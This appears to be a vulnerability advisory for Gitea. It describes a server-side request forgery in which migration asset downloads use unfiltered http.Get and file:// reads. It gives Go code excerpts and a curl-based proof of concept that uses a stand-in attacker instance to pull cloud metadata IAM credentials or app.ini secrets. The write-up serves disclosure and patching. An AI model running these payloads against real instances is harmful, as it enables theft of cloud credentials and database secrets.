Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

 1func Open(uriStr string) (io.ReadCloser, error) {
 2    u, err := url.Parse(uriStr)
 3    switch strings.ToLower(u.Scheme) {
 4    case "http", "https":
 5        f, err := http.Get(uriStr)   // RAW http.Get -- no hostmatcher filtering
 6        return f.Body, nil
 7    case "file":
 8        return os.Open(u.Path)        // LOCAL FILE READ via file:// scheme
 9    }
10}

 1// Line 312 -- release asset download
 2resp, err := http.Get(*asset.DownloadURL)
 3 
 4// Line 453 -- PR patch download (with self-documenting TODO)
 5resp, err := http.Get(u) // TODO: This probably needs to use the downloader

 1func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
 2    resp, err := http.Get(url)    // RAW http.Get -- no hostmatcher

 1// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
 2transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)

 1# Step 1: Set up attacker Gitea instance with malicious release asset URLs
 2# Create a repo on evil.gitea.attacker.com with a release asset whose
 3# download_url points to internal services:
 4 
 5# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
 6# Or: file:///etc/gitea/app.ini (local file read)
 7 
 8# Step 2: Admin triggers migration from attacker's Gitea instance
 9curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
10  -H "Authorization: token ADMIN_API_TOKEN" \
11  -H "Content-Type: application/json" \
12  -d '{
13    "clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
14    "repo_name": "migrated-repo",
15    "repo_owner": "admin",
16    "service": "gitea"
17  }'
18 
19# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
20# Cloud metadata is saved as the release asset attachment in the migrated repo
21# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
22 
23# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
24curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"